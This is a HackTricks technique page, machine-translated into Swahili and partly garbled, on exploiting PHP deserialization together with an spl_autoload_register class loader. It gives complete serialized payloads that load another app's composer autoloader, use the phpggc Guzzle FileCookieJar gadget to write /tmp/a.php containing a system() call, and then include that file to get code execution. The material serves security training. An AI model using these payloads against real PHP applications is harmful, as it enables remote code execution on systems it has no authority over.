7.8 KiB
PHP - Deserialization + Autoload Classes
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Kwanza, unapaswa kuangalia ni nini Autoloading Classes.
PHP deserialization + spl_autoload_register + LFI/Gadget
Tuko katika hali ambapo tumepata deserialization ya PHP katika programu ya wavuti bila maktaba yoyote inayoweza kudukuliwa ndani ya phpggc
. Walakini, kwenye chombo hicho hicho kulikuwa na programu nyingine ya wavuti ya mtunzi yenye maktaba zinazoweza kudukuliwa. Kwa hivyo, lengo lilikuwa kupakia mzigo wa mtunzi wa programu nyingine ya wavuti na kuitumia kudukua kwa kutumia kifaa ambacho kitatumia maktaba hiyo na kifaa kutoka kwenye programu ya wavuti inayoweza kudukuliwa.
Hatua:
- Umeona deserialization na hakuna kifaa katika msimbo wa programu ya sasa
- Unaweza kutumia kazi ya
spl_autoload_register
kama ifuatavyo ku pakia faili yoyote ya ndani na kipengee cha.php
- Kwa hilo, tumia deserialization ambapo jina la darasa litakuwa ndani ya
$name
. Hauwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosimbwa, lakini msimbo unafanya badilisho la chini ya mstari ("_") kwa mabano ("/"). Kwa hivyo jina la darasa kamatmp_passwd
litabadilishwa kuwa/tmp/passwd.php
na msimbo utajaribu kulipakia.
Mfano wa kifaa utakuwa:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Ikiwa una upakiaji wa faili na unaweza kupakia faili na kifungu cha .php
, unaweza kutumia kazi hii moja kwa moja na kupata RCE tayari.
{% endhint %}
Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa na ukurasa mwingine wa wavuti wa mtunzi ndani ya chombo kile kile na maktaba inayoweza kudhurika na kifaa cha phpggc
.
- Ili kupakia maktaba hii nyingine, kwanza unahitaji kupakia mtunzi wa mtunzi wa wavuti ya programu nyingine (kwa sababu ile ya programu ya sasa haitaweza kufikia maktaba za ile nyingine.) Ukiwa na njia ya programu, unaweza kufanikisha hii kwa urahisi sana na:
O:28:"www_frontend_vendor_autoload":0:{}
(Katika kesi yangu, mtunzi wa mtunzi alikuwa katika/www/frontend/vendor/autoload.php
) - Sasa, unaweza kupakia mtunzi wa programu nyingine, kwa hivyo ni wakati wa
kuzalisha phpgcc
malipo ya kutumia. Katika kesi yangu, nilitumiaGuzzle/FW1
, ambayo iliniruhusu kuandika faili yoyote ndani ya mfumo wa faili. - KUMBUKA: Kifaa kilichozalishwa hakikuwa kinafanya kazi, ili kifanye kazi nilibadilisha malipo hayo
chain.php
ya phpggc na kuweka sifa zote za madarasa kutoka kwa binafsi hadi umma. Ikiwa sivyo, baada ya kudeserializa herufi, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote. - Sasa tuna njia ya kupakia mtunzi wa programu nyingine na kuwa na malipo ya phpggc yanayofanya kazi, lakini tunahitaji kufanya hivi katika OMBI MOJA ili mtunzi upakie wakati kifaa kinapotumiwa. Kwa hilo, nilituma safu iliyoserialiwa na vitu vyote viwili kama ifuatavyo:
- Unaweza kuona kwanza mtunzi unapakia na kisha malipo
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Sasa, tunaweza kuunda na kuandika faili, hata hivyo, mtumiaji hawezi kuandika katika folda yoyote ndani ya seva ya wavuti. Kwa hivyo, kama unavyoona katika mzigo wa data, PHP inaita
system
na baadhi ya base64 imeundwa katika/tmp/a.php
. Kisha, tunaweza kutumia aina ya kwanza ya mzigo wa data ambayo tulitumia kama LFI kuweka mzigo wa data wa kompyuta ya mtunzi wa wavuti nyingine ili kupakia faili iliyoundwa/tmp/a.php
. Tuongeze kwenye kifaa cha deserialization:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Muhtasari wa mzigo
- Pakia autoload ya mtunzi wa wavuti tofauti katika kontena moja
- Pakia kifaa cha phpggc ili kutumia maktaba kutoka kwa wavuti nyingine (wavuti ya awali iliyokuwa na udhaifu wa deserialization haikuwa na kifaa chochote kwenye maktaba zake)
- Kifaa hicho kitasababisha faili yenye mzigo wa PHP katika /tmp/a.php na amri mbaya (mtumiaji wa wavuti hawezi kuandika kwenye folda yoyote ya wavuti yoyote)
- Sehemu ya mwisho ya mzigo wetu itatumia pakia faili ya php iliyozalishwa ambayo itatekeleza amri
Nilihitaji kuita deserialization hii mara mbili. Katika majaribio yangu, mara ya kwanza faili ya /tmp/a.php
iliumbwa lakini haikupakiwa, na mara ya pili ilipakiwa kwa usahihi.
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.